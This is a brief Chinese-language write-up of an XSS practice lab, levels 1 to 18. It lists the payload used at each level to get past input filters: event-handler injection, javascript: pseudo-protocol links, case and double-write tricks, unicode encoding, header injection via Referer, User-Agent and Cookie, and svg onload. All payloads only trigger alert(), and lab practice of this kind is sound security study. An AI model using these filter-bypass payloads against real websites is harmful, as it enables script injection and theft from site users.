靶場鏈接http://xss.tesla-space.com/?tdsourcetag=s_pcqq_aiomsg
參考博客https://blog.csdn.net/xlsj228/article/details/93166486
1
可以看到url中的test參數出現在頁面中,雖然f12看到了下一關的地址,我假裝沒看見
在url處構造payload:xss.tesla-space.com/level1.php?name=test</h2><script>alert("xx")<\script>
2
構造:" onmouseover=alert()
3
依舊如上一關
輸入 " onmouseover=alert()
發現引號不能閉合
輸入' onmouseover=alert()
單引號可以閉合
4
同2
5
" onmouseover=alert()
發現on中間加了下划線
" /> <script>alert()</script>
script中間加了下划線
嘗試大小寫等無法繞過
就想到利用javascript偽協議 " /><a href=javascript:alert("ccc");>xxx</a>
6
和5相同,采用5的解法,發現href也被加了下划線,用大小寫繞過,成功
" /><a Href=javascript:alert("ccc");>xxx</a>
7
onmouseover 的on被過濾,采用雙寫繞過
" oonnmouseover=alert()
8
采用javascript偽協議,可是被過濾
采用空格繞過,javascr ipt:alert('xss')
;還是不行
采用16進制編碼,仍然不行
采用unicode編碼,將t進行編碼,成功
javascript:alert('xss') ;
9
利用javascript:alert()
,發現
最后試探發現必須包含一個正常的鏈接,所以包含一個被注釋掉的鏈接
javascript:alert()//http://www.baidu.com
10
查看源碼發現是3個隱藏的標簽
傳入相關值,並將type設置為text可見http://xss.tesla-space.com/level10.php?t_sort="onmouseover="alert()"type="text
前兩個標簽不起作用,利用最后一個標簽
11
參考https://blog.csdn.net/xlsj228/article/details/93166486
用bp截斷增加referer頭
referer:'' onmouseover=alert() type="text
12
與上相同,在user-agent處
13
與上相同,在cookie處
14
這一關好像掛了
然后下面給的level15的鏈接也掛了
手動改url進15關http://xss.tesla-space.com/level15.php
15
結果15關加載半天卡死……
16
將空格,script等過濾
運用<svg onload=alert()>
標簽
空格用回車換行%0d,%0a代替
17
url為http://xss.tesla-space.com/level17.php?arg01=a&arg02=b
構造payload:http://xss.tesla-space.com/level17.php?arg01=a&arg02=b" onmouseover=alert()
18
與17相同